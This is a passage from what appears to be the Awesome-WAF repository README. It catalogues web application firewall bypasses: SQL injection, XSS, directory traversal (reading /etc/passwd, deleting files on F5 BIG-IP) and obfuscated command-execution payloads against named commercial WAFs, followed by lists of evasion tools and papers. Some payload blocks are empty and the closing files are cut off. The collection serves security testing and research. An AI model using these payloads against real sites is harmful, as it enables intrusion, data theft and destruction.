shared token value is used as the secret. - Often adding specific headers may trigger a similar whitelist behaviour. Now when making a request to the server, you can append it as a parameter: ``` http://host.com/?randomparameter=&=True ``` > A real life example how this works can be found at [this blog](https://osandamalith.com/2019/10/12/bypassing-the-webarx-web-application-firewall-waf/). ### Request Header Spoofing: #### Method: - The target is to fool the WAF/server into believing it was from their internal network. - Adding some spoofed headers to represent the internal network, does the trick. #### Technique: - With each request some set of headers are to be added simultaneously thus spoofing the origin. - The upstream proxy/WAF misinterprets the request was from their internal network, and lets our gory payload through. Some common headers used: ``` X-Originating-IP: 127.0.0.1 X-Forwarded-For: 127.0.0.1 X-Remote-IP: 127.0.0.1 X-Remote-Addr: 127.0.0.1 X-Client-IP: 127.0.0.1 ``` ### Google Dorks Approach: #### Method: - There are a lot of known bypasses of various web application firewalls ([see section](#known-bypasses)). - With the help of google dorks, we can easily find bypasses. #### Techniques: Before anything else, you should hone up skills from [Google Dorks Cheat Sheet](http://pdf.textfiles.com/security/googlehackers.pdf). - Normal search: `+ waf bypass` - Searching for specific version exploits: `" " (bypass|exploit)` - For specific type bypass exploits: `"" + (bypass|exploit)` - On [Exploit DB](https://exploit-db.com): `site:exploit-db.com + bypass` - On [0Day Inject0r DB](https://0day.today): `site:0day.today + (bypass|exploit)` - On [Twitter](https://twitter.com): `site:twitter.com + bypass` - On [Pastebin](https://pastebin.com) `site:pastebin.com + bypass` ## Known Bypasses: ### Airlock Ergon - SQLi Overlong UTF-8 Sequence Bypass (>= v4.2.4) by [@Sec Consult](https://www.exploit-db.com/?author=1614) ``` %C0%80'+union+select+col1,col2,col3+from+table+--+ ``` ### AWS WAF - [SQLi Bypass](https://github.com/enkaskal/aws-waf-sqli-bypass-PoC) by [@enkaskal](https://twitter.com/enkaskal) ``` "; select * from TARGET_TABLE -- ``` - [XSS Bypass](https://github.com/kmkz/Pentesting/blob/master/Pentest-Cheat-Sheet#L285) by [@kmkz](https://twitter.com/kmkz_security) ``` : aa Keep-Alive: 300 ``` - R-XSS Bypass by [@WAFNinja](https://waf.ninja) ``` ``` - XSS Bypass by [@0xInfection](https://twitter.com/0xinfection) ```

alert dragme click ``` - GET - XSS Bypass (v4.02) by [@DavidK](https://www.exploit-db.com/?author=2741) ``` /search?q=%3Cimg%20src=%22WTF%22%20onError=alert(/0wn3d/.source)%20/%3E ``` - POST - XSS Bypass (v4.02) by [@DavidK](https://www.exploit-db.com/?author=2741) ``` ``` - `clave` XSS (v4.02) by [@DavidK](https://www.exploit-db.com/?author=2741) ``` /?&idPais=3&clave=%3Cimg%20src=%22WTF%22%20onError=%22{ ``` ### Fortinet Fortiweb - `pcre_expression` unvaidated XSS by [@Benjamin Mejri](https://www.exploit-db.com/?author=7854) ``` /waf/pcre_expression/validate?redir=/success&mkey=0%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C /waf/pcre_expression/validate?redir=/success%20%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C&mkey=0 ``` - CSP Bypass by [@Binar10](https://www.exploit-db.com/exploits/18840) POST Type Query ``` POST //login-app.aspx HTTP/1.1 Host: User-Agent: Accept-Encoding: gzip, deflate Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: var1=datavar1&var2=datavar12&pad= ``` GET Type Query ``` http:///path?var1=vardata1&var2=vardata2&pad= ``` ### F5 ASM - XSS Bypass by [@WAFNinja](https://waf.ninja) ```
"/>a ``` ### F5 BIG-IP - XSS Bypass by [@WAFNinja](https://waf.ninja/) ```

Right-Click Here
Right-Click Here ``` - XSS Bypass by [@Aatif Khan](https://twitter.com/thenapsterkhan) ```
Right-Click Here ]> &e; ``` - Directory Traversal by [@Anastasios Monachos](https://www.exploit-db.com/?author=2932) Read Arbitrary File ``` /tmui/Control/jspmap/tmui/system/archive/properties.jsp?&name=../../../../../etc/passwd ``` Delete Arbitrary File ``` POST /tmui/Control/form HTTP/1.1 Host: site.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: JSESSIONID=6C6BADBEFB32C36CDE7A59C416659494; f5advanceddisplay=""; BIGIPAuthCookie=89C1E3BDA86BDF9E0D64AB60417979CA1D9BE1D4; BIGIPAuthUsernameCookie=admin; F5_CURRENT_PARTITION=Common; f5formpage="/tmui/system/archive/properties.jsp?&name=../../../../../etc/passwd"; f5currenttab="main"; f5mainmenuopenlist=""; f5_refreshpage=/tmui/Control/jspmap/tmui/system/archive/properties.jsp%3Fname%3D../../../../../etc/passwd Content-Type: application/x-www-form-urlencoded _form_holder_opener_=&handler=%2Ftmui%2Fsystem%2Farchive%2Fproperties&handler_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties&showObjList=&showObjList_before=&hideObjList=&hideObjList_before=&enableObjList=&enableObjList_before=&disableObjList=&disableObjList_before=&_bufvalue=icHjvahr354NZKtgQXl5yh2b&_bufvalue_before=icHjvahr354NZKtgQXl5yh2b&_bufvalue_validation=NO_VALIDATION&com.f5.util.LinkedAdd.action_override=%2Ftmui%2Fsystem%2Farchive%2Fproperties&com.f5.util.LinkedAdd.action_override_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties&linked_add_id=&linked_add_id_before=&name=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&name_before=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&form_page=%2Ftmui%2Fsystem%2Farchive%2Fproperties.jsp%3F&form_page_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties.jsp%3F&download_before=Download%3A+..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&restore_before=Restore&delete=Delete&delete_before=Delete ``` ### F5 FirePass - SQLi Bypass from [@Anonymous](https://www.exploit-db.com/?author=2168) ``` state=%2527+and+ (case+when+SUBSTRING(LOAD_FILE(%2527/etc/passwd%2527),1,1)=char(114)+then+ BENCHMARK(40000000,ENCODE(%2527hello%2527,%2527batman%2527))+else+0+end)=0+--+ ``` ### ModSecurity - [XSS Bypass for CRS 3.2](https://twitter.com/brutelogic/status/1209086328383660033) by [@brutelogic](https://twitter.com/brutelogic) ``` ```` - [RCE Payloads Detection Bypass for PL3](https://www.secjuice.com/web-application-firewall-waf-evasion/) by [@theMiddle](https://twitter.com/Menin_TheMiddle) (v3.1) ``` ;+$u+cat+/etc$u/passwd$u ``` - [RCE Payloads Detection Bypass for PL2](https://www.secjuice.com/web-application-firewall-waf-evasion/) by [@theMiddle](https://twitter.com/Menin_TheMiddle) (v3.1) ``` ;+$u+cat+/etc$u/passwd+\# ``` - [RCE Payloads for PL1 and PL2](https://medium.com/secjuice/waf-evasion-techniques-718026d693d8) by [@theMiddle](https://twitter.com/Menin_TheMiddle) (v3.0) ``` /???/??t+/???/??ss?? ``` - [RCE Payloads for PL3](https://medium.com/secjuice/waf-evasion-techniques-718026d693d8) by [@theMiddle](https://twitter.com/Menin_TheMiddle) (v3.0) ``` /?in/cat+/et?/passw? ``` - [SQLi Bypass](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/modsecurity-sql-injection-challenge-lessons-learned/) by [@Johannes Dahse](https://twitter.com/#!/fluxreiners) (v2.2) ``` 0+div+1+union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1%2C2%2Ccurrent_user ``` - [SQLi Bypass](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/modsecurity-sql-injection-challenge-lessons-learned/) by [@Yuri Goltsev](https://twitter.com/#!/ygoltsev) (v2.2) ``` 1 AND (select DCount(last(username)&after=1&after=1) from users where username='ad1min') ``` - [SQLi Bypass](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/modsecurity-sql-injection-challenge-lessons-learned/) by [@Ahmad Maulana](http://twitter.com/#!/hmadrwx) (v2.2) ``` 1'UNION/*!0SELECT user,2,3,4,5,6,7,8,9/*!0from/*!0mysql.user/*- ``` - [SQLi Bypass](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/modsecurity-sql-injection-challenge-lessons-learned/) by [@Travis Lee](http://twitter.com/#!/eelsivart) (v2.2) ``` amUserId=1 union select username,password,3,4 from users ``` - [SQLi Bypass](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/modsecurity-sql-injection-challenge-lessons-learned/) by [@Roberto Salgado](http://twitter.com/#!/lightos) (v2.2) ``` %0Aselect%200x00,%200x41%20like/*!31337table_name*/,3%20from%20information_schema.tables%20limit%201 ``` - [SQLi Bypass](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/modsecurity-sql-injection-challenge-lessons-learned/) by [@Georgi Geshev](http://twitter.com/#!/ggeshev) (v2.2) ``` 1%0bAND(SELECT%0b1%20FROM%20mysql.x) ``` - [SQLi Bypass](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/modsecurity-sql-injection-challenge-lessons-learned/) by [@SQLMap Devs](http://sqlmap.sourceforge.net/#developers) (v2.2) ``` %40%40new%20union%23sqlmapsqlmap...%0Aselect%201,2,database%23sqlmap%0A%28%29 ``` - [SQLi Bypass](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/modsecurity-sql-injection-challenge-lessons-learned/) by [@HackPlayers](http://twitter.com/#!/hackplayers) (v2.2) ``` %0Aselect%200x00%2C%200x41%20not%20like%2F*%2100000table_name*%2F%2C3%20from%20information_schema.tables%20limit%201 ``` ### Imperva - [XSS Bypass](https://twitter.com/smaury92/status/1422599636800450572) by [@smaury92](https://twitter.com/smaury92) ```html ``` - [XSS Bypass](https://twitter.com/0xInfection/status/1420046446095519749) by [@0xInfection](https://twitter.com/0xInfection) ```html clickme ``` - [XSS Bypass](https://twitter.com/0xInfection/status/1364622858090016777) by [@0xInfection](https://twitter.com/0xInfection) ```html click ``` - [XSS Bypass](https://twitter.com/0xInfection/status/1212331839743873026) by [@0xInfection](https://twitter.com/0xinfection) ```html pew ``` - [XSS Bypass](https://twitter.com/_ugurercan/status/1188406765735632896) by [@ugurercan](https://twitter.com/_ugurercan) ```html
``` - [Imperva SecureSphere 13 - Remote Command Execution](https://www.exploit-db.com/exploits/45542) by [@rsp3ar](https://www.exploit-db.com/?author=9396) - XSS Bypass by [@David Y](https://twitter.com/daveysec) ``` ``` - XSS Bypass by [@Emad Shanab](https://twitter.com/alra3ees) ``` anythinglr00%3c%2fscript%3e%3cscript%3ealert(document.domain)%3c%2fscript%3euxldz ``` - XSS Bypass by [@WAFNinja](https://waf.ninja) ``` %3Cimg%2Fsrc%3D%22x%22%2Fonerror%3D%22prom%5Cu0070t%2526%2523x28%3B%2526%2523x27%3B%2526%2523x58%3B%2526%2523x53%3B%2526%2523x53%3B%2526%2523x27%3B%2526%2523x29%3B%22%3E ``` - XSS Bypass by [@i_bo0om](https://twitter.com/i_bo0om) ``` ``` - XSS Bypass by [@c0d3g33k](https://twitter.com/c0d3g33k) ``` ``` - SQLi Bypass by [@DRK1WI](https://www.exploit-db.com/?author=7740) ``` 15 and '1'=(SELECT '1' FROM dual) and '0having'='0having' ``` - SQLi by [@Giuseppe D'Amore](https://www.exploit-db.com/?author=6413) ``` stringindatasetchoosen%%' and 1 = any (select 1 from SECURE.CONF_SECURE_MEMBERS where FULL_NAME like '%%dministrator' and rownum<=1 and PASSWORD like '0%') and '1%%'='1 ``` - [Imperva SecureSphere <= v13 - Privilege Escalation](https://www.exploit-db.com/exploits/45130) by [@0x09AL](https://www.exploit-db.com/?author=8991) ### Kona SiteDefender - [XSS Bypass](https://twitter.com/XSaadAhmedX/status/1482398313227948034) by [@SaadAhmed](https://twitter.com/XSaadAhmedX) ``` %3Cmarquee%20loop=1%20width=%271%26apos;%27onfinish=self[`al`+`ert`](1)%3E%23leet%3C/marquee%3E ``` - [XSS Bypass](https://twitter.com/h1_kenan/status/1185826172308983808) by [@h1_kenan](https://twitter.com/h1_kenan) ``` asd"on+<>+onpointerenter%3d"x%3dconfirm,x(cookie) ``` - [HTML Injection](https://hackerone.com/reports/263226) by [@sp1d3rs](https://twitter.com/h1_sp1d3rs) ``` %2522%253E%253Csvg%2520height%3D%2522100%2522%2520width%3D%2522100%2522%253E%2520%253Ccircle%2520cx%3D%252250%2522%2520cy%3D%252250%2522%2520r%3D%252240%2522%2520stroke%3D%2522black%2522%2520stroke-width%3D%25223%2522%2520fill%3D%2522red%2522%2520%2F%253E%2520%253C%2Fsvg%253E ``` - [XSS Bypass](https://medium.com/@jonathanbouman/reflected-xss-at-philips-com-e48bf8f9cd3c) by [@Jonathan Bouman](https://twitter.com/jonathanbouman) ``` ``` - XSS Bypass by [@0xInfection](https://twitter.com/0xInfection) ``` ``` - [XSS Bypass](https://hackerone.com/reports/263226) by [@sp1d3rs](https://twitter.com/h1_sp1d3rs) ``` %2522%253E%253C%2Fdiv%253E%253C%2Fdiv%253E%253Cbrute%2520onbeforescriptexecute%3D%2527confirm%28document.domain%29%2527%253E ``` - [XSS Bypass](https://twitter.com/fransrosen/status/1126963506723590148) by [@Frans Rosén](https://twitter.com/fransrosen) ``` ``` - [XSS Bypass](https://twitter.com/security_prince/status/1127804521315426304) by [@Ishaq Mohammed](https://twitter.com/security_prince) ``` ``` ### Profense - [GET Type CSRF Attack](https://www.exploit-db.com/exploits/7919) by [@Michael Brooks](https://www.exploit-db.com/?author=628) (>= v.2.6.2) Turn off Proface Machine ``` ``` Add a proxy ``` ``` - XSS Bypass by [@Michael Brooks](https://www.exploit-db.com/?author=628) (>= v.2.6.2) ``` https://host:2000/proxy.html?action=manage&main=log&show=deny_log&proxy=>" ``` - [XSS Bypass](https://www.securityfocus.com/bid/35053/info) by [@EnableSecurity](https://enablesecurity.com) (>= v2.4) ``` %3CEvil%20script%20goes%20here%3E=%0AByPass %3Cscript%3Ealert(document.cookie)%3C/script%20ByPass%3E ``` ### QuickDefense - XSS Bypass by [@WAFNinja](https://waf.ninja/) ``` ?
``` ### Sucuri - [XSS Bypass (POST Only)](https://twitter.com/brutelogic/status/1209086328383660033) by [@brutelogic](https://twitter.com/brutelogic) ``` ``` - [Smuggling RCE Payloads](https://medium.com/secjuice/waf-evasion-techniques-718026d693d8) by [@theMiddle](https://twitter.com/Menin_TheMiddle) ``` /???/??t+/???/??ss?? ``` - [Obfuscating RCE Payloads](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0) by [@theMiddle](https://twitter.com/Menin_TheMiddle) ``` ;+cat+/e'tc/pass'wd c\\a\\t+/et\\c/pas\\swd ``` - [XSS Bypass](https://twitter.com/return_0x/status/1148605627180208129) by [@Luka](https://twitter.com/return_0x) ``` "> ``` - [XSS Bypass](https://twitter.com/brutelogic/status/1148610104738099201) by [@Brute Logic](https://twitter.com/brutelogic) ``` data:text/html,
``` ### StackPath - [XSS Bypass](https://twitter.com/0xInfection/status/1298642820664823808) by [@0xInfection](https://twitter.com/0xInfection) ``` Right-Click Here ``` - SQLi by [@WAFNinja](https://waf.ninja) ``` 0 union(select 1,username,password from(users)) 0 union(select 1,@@hostname,@@datadir) ``` - XSS Bypass by [@Aatif Khan](https://twitter.com/thenapsterkhan) (v4.1) ```
Right-Click Here ``` - [SQLi Bypass](https://github.com/0xInfection/Awesome-WAF/blob/master/papers/Beyond%20SQLi%20-%20Obfuscate%20and%20Bypass%20WAFs.txt#L562) by [@ZeQ3uL](http://www.exploit-db.com/author/?a=1275) ``` 10 a%nd 1=0/(se%lect top 1 ta%ble_name fr%om info%rmation_schema.tables) ``` ### Wordfence - XSS Bypass by [@brute Logic](https://twitter.com/brutelogic) ``` ``` - XSS Bypass by [@0xInfection](https://twitter.com/0xInfection) ``` click ``` - [HTML Injection](https://www.securityfocus.com/bid/69815/info) by [@Voxel](https://www.exploit-db.com/?author=8505) ``` http://host/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php ``` - [XSS Exploit](https://www.securityfocus.com/bid/56159/info) by [@MustLive](https://www.exploit-db.com/?author=1293) (>= v3.3.5) ``` Wordfence Security XSS exploit (C) 2012 MustLive. http://websecurity.com.ua
``` - [Other XSS Bypasses](https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/xss.md) ``` >
" >> ``` ### Apache Generic - Writing method type in lowercase by [@i_bo0om](http://twitter.com/i_bo0om) ``` get /login HTTP/1.1 Host: favoritewaf.com User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT) ``` ### IIS Generic - Tabs before method by [@i_bo0om](http://twitter.com/i_bo0om) ``` GET /login.php HTTP/1.1 Host: favoritewaf.com User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT) ``` ## Awesome Tools ### Fingerprinting: - [WAFW00F](https://github.com/enablesecurity/wafw00f) - The ultimate WAF fingerprinting tool with the largest fingerprint database from [@EnableSecurity](https://github.com/enablesecurity). - [IdentYwaf](https://github.com/stamparm/identywaf) - A blind WAF detection tool which utlises a unique method of identifying WAFs based upon previously collected fingerprints by [@stamparm](https://github.com/stamparm). ### Testing: - [GoTestWAF](https://github.com/wallarm/gotestwaf) - A tool to test a WAF's detection logic and bypasses from [@wallarm](https://github.com/wallarm). - [Lightbulb Framework](https://github.com/lightbulb-framework/lightbulb-framework) - A WAF testing suite written in Python. - [WAFBench](https://github.com/microsoft/wafbench) - A WAF performance testing suite by [Microsoft](https://github.com/microsoft). - [WAF Testing Framework](https://www.imperva.com/lg/lgw_trial.asp?pid=483) - A WAF testing tool by [Imperva](https://imperva.com). - [Framework for Testing WAFs (FTW)](https://github.com/coreruleset/ftw) - A framework by the [OWASP CRS team](https://coreruleset.org/) that helps to provide rigorous tests for WAF rules by using the OWASP Core Ruleset V3 as a baseline. ### Evasion: - [WAFNinja](https://github.com/khalilbijjou/wafninja) - A smart tool which fuzzes and can suggest bypasses for a given WAF by [@khalilbijjou](https://github.com/khalilbijjou/). - [WAFTester](https://github.com/Raz0r/waftester) - Another tool which can obfuscate payloads to bypass WAFs by [@Raz0r](https://github.com/Raz0r/). - [libinjection-fuzzer](https://github.com/migolovanov/libinjection-fuzzer) - A fuzzer intended for finding `libinjection` bypasses but can be probably used universally. - [bypass-firewalls-by-DNS-history](https://github.com/vincentcox/bypass-firewalls-by-DNS-history) - A tool which searches for old DNS records for finding actual site behind the WAF. - [abuse-ssl-bypass-waf](https://github.com/LandGrey/abuse-ssl-bypass-waf) - A tool which finds out supported SSL/TLS ciphers and helps in evading WAFs. - [SQLMap Tamper Scripts](https://github.com/sqlmapproject/sqlmap) - Tamper scripts in SQLMap obfuscate payloads which might evade some WAFs. - [Bypass WAF BurpSuite Plugin](https://portswigger.net/bappstore/ae2611da3bbc4687953a1f4ba6a4e04c) - A plugin for Burp Suite which adds some request headers so that the requests seem from the internal network. - [enumXFF](https://github.com/infosec-au/enumXFF) - Eumerating IPs in X-Forwarded-Headers to bypass 403 restrictions - [WAF Bypass Tool](https://github.com/nemesida-waf/waf-bypass) - WAF bypass Tool from Nemesida is an open source tool to analyze the security of any WAF for False Positives and False Negatives using predefined and customizable payloads. ### Management: - [AWS Firewall Factory](https://github.com/globaldatanet/aws-firewall-factory) - Deploy, update, and stage your WAFs while managing them centrally via FMS. ## Blogs and Writeups > Many of the content mentioned above have been taken from some of the following excellent writeups. - [Web Application Firewall (WAF) Evasion Techniques #1](https://medium.com/secjuice/waf-evasion-techniques-718026d693d8) - By [@Secjuice](https://www.secjuice.com). - [Web Application Firewall (WAF) Evasion Techniques #2](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0) - By [@Secjuice](https://www.secjuice.com). - [Web Application Firewall (WAF) Evasion Techniques #3](https://www.secjuice.com/web-application-firewall-waf-evasion/) - By [@Secjuice](https://www.secjuice.com). - [How To Exploit PHP Remotely To Bypass Filters & WAF Rules](https://www.secjuice.com/php-rce-bypass-filters-sanitization-waf/)- By [@Secjuice](https://secjuice.com) - [ModSecurity SQL Injection Challenge: Lessons Learned](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/modsecurity-sql-injection-challenge-lessons-learned/) - By [@SpiderLabs](https://trustwave.com). - [XXE that can Bypass WAF](https://lab.wallarm.com/xxe-that-can-bypass-waf-protection-98f679452ce0) - By [@WallArm](https://labs.wallarm.com). - [SQL Injection Bypassing WAF](https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF) - By [@OWASP](https://owasp.com). - [How To Reverse Engineer A Web Application Firewall Using Regular Expression Reversing](https://www.sunnyhoi.com/reverse-engineer-web-application-firewall-using-regular-expression-reversing/) - By [@SunnyHoi](https://twitter.com/sunnyhoi). - [Bypassing Web-Application Firewalls by abusing SSL/TLS](https://0x09al.github.io/waf/bypass/ssl/2018/07/02/web-application-firewall-bypass.html) - By [@0x09AL](https://twitter.com/0x09al). - [Request Encoding to Bypass WAFs](https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/august/request-encoding-to-bypass-web-application-firewalls/) - By [@Soroush Dalili](https://twitter.com/irsdl) ## Video Presentations - [WAF Bypass Techniques Using HTTP Standard and Web Servers Behavior](https://www.youtube.com/watch?v=tSf_IXfuzXk) from [@OWASP](https://owasp.org). - [Confessions of a WAF Developer: Protocol-Level Evasion of Web App Firewalls](https://www.youtube.com/watch?v=PVVG4rCFZGU) from [BlackHat USA 12](https://blackhat.com/html/bh-us-12). - [Web Application Firewall - Analysis of Detection Logic](https://www.youtube.com/watch?v=dMFJLicdaC0) from [BlackHat](https://blackhat.com). - [Bypassing Browser Security Policies for Fun & Profit](https://www.youtube.com/watch?v=P5R4KeCzO-Q) from [BlackHat](https://blackhat.com). - [Web Application Firewall Bypassing](https://www.youtube.com/watch?v=SD7ForrwUMY) from [Positive Technologies](https://ptsecurity.com). - [Fingerprinting Filter Rules of Web Application Firewalls - Side Channeling Attacks](https://www.usenix.org/conference/woot12/workshop-program/presentation/schmitt) from [@UseNix](https://www.usenix.com). - [Evading Deep Inspection Systems for Fun and Shell](https://www.youtube.com/watch?v=BkmPZhgLmRo) from [BlackHat US 13](https://blackhat.com/html/bh-us-13). - [Bypass OWASP CRS && CWAF (WAF Rule Testing - Unrestricted File Upload)](https://www.youtube.com/watch?v=lWoxAjvgiHs) from [Fools of Security](https://www.youtube.com/channel/UCEBHO0kD1WFvIhf9wBCU-VQ). - [WAFs FTW! A modern devops approach to security testing your WAF](https://www.youtube.com/watch?v=05Uy0R7UdFw) from [AppSec USA 17](https://www.youtube.com/user/OWASPGLOBAL). - [Web Application Firewall Bypassing WorkShop](https://www.youtube.com/watch?v=zfBT7Kc57xs) from [OWASP](https://owasp.com). - [Bypassing Modern WAF's Exemplified At XSS by Rafay Baloch](https://www.youtube.com/watch?v=dWLpw-7_pa8) from [Rafay Bloch](http://rafaybaloch.com). - [WTF - WAF Testing Framework](https://www.youtube.com/watch?v=ixb-L5JWJgI) from [AppSecUSA 13](https://owasp.org). - [The Death of a Web App Firewall](https://www.youtube.com/watch?v=mB_xGSNm8Z0) from [Brian McHenry](https://www.youtube.com/channel/UCxzs-N2sHnXFwi0XjDIMTPg). - [Adventures with the WAF](https://www.youtube.com/watch?v=rdwB_p0KZXM) from [BSides Manchester](https://www.youtube.com/channel/UC1mLiimOTqZFK98VwM8Ke4w). - [Bypassing Intrusion Detection Systems](https://www.youtube.com/watch?v=cJ3LhQXzrXw) from [BlackHat](https://blackhat.com). - [Building Your Own WAF as a Service and Forgetting about False Positives](https://www.youtube.com/watch?v=dgqUcHprolc) from [Auscert](https://conference.auscert.org.au). ## Presentations & Research Papers ### Research Papers: - [Protocol Level WAF Evasion](papers/Qualys%20Guide%20-%20Protocol-Level%20WAF%20Evasion.pdf) - A protocol level WAF evasion techniques and analysis by [Qualys](https://www.qualys.com). - [Neural Network based WAF for SQLi](papers/Artificial%20Neural%20Network%20based%20WAF%20for%20SQL%20Injection.pdf) - A paper about building a neural network based WAF for detecting SQLi attacks. - [Bypassing Web Application Firewalls with HTTP Parameter Pollution](papers/Bypassing%20Web%20Application%20Firewalls%20with%20HTTP%20Parameter%20Pollution.pdf) - A research paper from [Exploit DB](https://exploit-db.com) about effectively bypassing WAFs via HTTP Parameter Pollution. - [Poking A Hole in the Firewall](papers/Poking%20A%20Hole%20In%20The%20Firewall.pdf) - A paper by [Rafay Baloch](https://www.rafaybaloch.com) about modern firewall analysis. - [Modern WAF Fingerprinting and XSS Filter Bypass](papers/Modern%20WAF%20Fingerprinting%20and%20XSS%20Filter%20Bypass.pdf) - A paper by [Rafay Baloch](https://www.rafaybaloch.com) about WAF fingerprinting and bypassing XSS filters. - [WAF Evasion Testing](papers/SANS%20Guide%20-%20WAF%20Evasion%20Testing.pdf) - A WAF evasion testing guide from [SANS](https://www.sans.org). - [Side Channel Attacks for Fingerprinting WAF Filter Rules](papers/Side%20Channel%20(Timing)%20Attacks%20for%20Fingerprinting%20WAF%20Rules.pdf) - A paper about how side channel attacks can be utilised to fingerprint firewall filter rules from [UseNix Woot'12](https://www.usenix.org/conference/woot12). - [WASC WAF Evaluation Criteria](papers/WASC%20WAF%20Evaluation%20Criteria.pdf) - A guide for WAF Evaluation from [Web Application Security Consortium](http://www.webappsec.org). - [WAF Evaluation and Analysis](papers/Web%20Application%20Firewalls%20-%20Evaluation%20and%20Analysis.pdf) - A paper about WAF evaluation and analysis of 2 most used WAFs (ModSecurity & WebKnight) from [University of Amsterdam](http://www.uva.nl). - [Bypassing all WAF XSS Filters](papers/Evading%20All%20Web-Application%20Firewalls%20XSS%20Filters.pdf) - A paper about bypassing all XSS filter rules and evading WAFs for XSS. - [Beyond SQLi - Obfuscate and Bypass WAFs](papers/Beyond%20SQLi%20-%20Obfuscate%20and%20Bypass%20WAFs.txt) - A research paper from [Exploit Database](https://exploit-db.com) about obfuscating SQL injection queries to effectively bypass WAFs. - [Bypassing WAF XSS Detection Mechanisms](papers/Bypassing%20WAF%20XSS%20Detection%20Mechanisms.pdf) - A research paper about bypassing XSS detection mechanisms in WAFs. ### Presentations: - [Methods to Bypass a Web Application Firewall](presentrations/Methods%20To%20Bypass%20A%20Web%20Application%20Firewall.pdf) - A presentation from [PT Security](https://www.ptsecurity.com) about bypassing WAF filters and evasion. - [Web Application Firewall Bypassing (How to Defeat the Blue Team)](presentation/Web%20Application%20Firewall%20Bypassing%20(How%20to%20Defeat%20the%20Blue%20Team).pdf) - A presentation about bypassing WAF filtering and ruleset fuzzing for evasion by [@OWASP](https://owasp.org). - [WAF Profiling & Evasion Techniques](presentations/OWASP%20WAF%20Profiling%20&%20Evasion.pdf) - A WAF testing and evasion guide from [OWASP](https://www.owasp.org). - [Protocol Level WAF Evasion Techniques](presentations/BlackHat%20US%2012%20-%20Protocol%20Level%20WAF%20Evasion%20(Slides).pdf) - A presentation at about efficiently evading WAFs at protocol level from [BlackHat US 12](https://www.blackhat.com/html/bh-us-12/). - [Analysing Attacking Detection Logic Mechanisms](presentations/BlackHat%20US%2016%20-%20Analysis%20of%20Attack%20Detection%20Logic.pdf) - A presentation about WAF logic applied to detecting attacks from [BlackHat US 16](https://www.blackhat.com/html/bh-us-16/). - [WAF Bypasses and PHP Exploits](presentations/WAF%20Bypasses%20and%20PHP%20Exploits%20(Slides).pdf) - A presentation about evading WAFs and developing related PHP exploits. - [Side Channel Attacks for Fingerprinting WAF Filter Rules](presentations/Side%20Channel%20Attacks%20for%20Fingerprinting%20WAF%20Filter%20Rules.pdf) - A presentation about how side channel attacks can be utilised to fingerprint firewall filter rules from [UseNix Woot'12](https://www.usenix.org/conference/woot12). - [Our Favorite XSS Filters/IDS and how to Attack Them](presentations/Our%20Favourite%20XSS%20WAF%20Filters%20And%20How%20To%20Bypass%20Them.pdf) - A presentation about how to evade XSS filters set by WAF rules from [BlackHat USA 09](https://www.blackhat.com/html/bh-us-09/). - [Playing Around with WAFs](presentations/Playing%20Around%20with%20WAFs.pdf) - A small presentation about WAF profiling and playing around with them from [Defcon 16](http://www.defcon.org/html/defcon-16/dc-16-post.html). - [A Forgotten HTTP Invisibility Cloak](presentation/A%20Forgotten%20HTTP%20Invisibility%20Cloak.pdf) - A presentation about techniques that can be used to bypass common WAFs from [BSides Manchester](https://www.bsidesmcr.org.uk/). - [Building Your Own WAF as a Service and Forgetting about False Positives](presentations/Building%20Your%20Own%20WAF%20as%20a%20Service%20and%20Forgetting%20about%20False%20Positives.pdf) - A presentation about how to build a hybrid mode waf that can work both in an out-of-band manner as well as inline to reduce false positives and latency [Auscert2019](https://conference.auscert.org.au/). ## Credits & License: Initial fingerprint compilation and bypasses were put together by [Pinaki](https://twitter.com/0xInfection) [(0xInfection)](https://github.com/0xinfection), but now it largely remains as a community supported repository. Awesome-WAF is licensed under the [Apache 2.0 License](LICENSE). ================================================ FILE: others/README.md ================================================ ## [`obfu.py`](https://github.com/0xinfection/awesome-waf/blob/master/others/obfu.py) > A small script to encode and obfuscate your payloads easily to your desired encodings. ### Usage: ``` $ python obfu.py -h OBFUSCATOR usage: python3 obfu.py [-h] [-s STR] [-e ENC] [-ueo] [-udi] Required Arguments: -s STR, --str STR String to obfuscate -e ENC, --enc ENC Encoding type. eg: ibm037, utf16, etc Optional Arguments: -ueo URL Encode Output -udi URL Decode Input ``` ### Example Usage: ``` $ python3 obfu.py -s 'param= 1: parser.print_help() quit() print('Input: %s' % (args.str)) print('Output: %s' % (paramEncode(params=args.str, charset=args.enc, urlDecodeInput=args.udi, urlEncodeOutput=args.ueo))) if __name__ == '__main__': main() ================================================ FILE: papers/Beyond SQLi - Obfuscate and Bypass WAFs.txt ================================================ |=--------------------------------------------------------------------=| |=--------------=[ Beyond SQLi: Obfuscate and Bypass ]=---------------=| |=-------------------------=[ 6 October 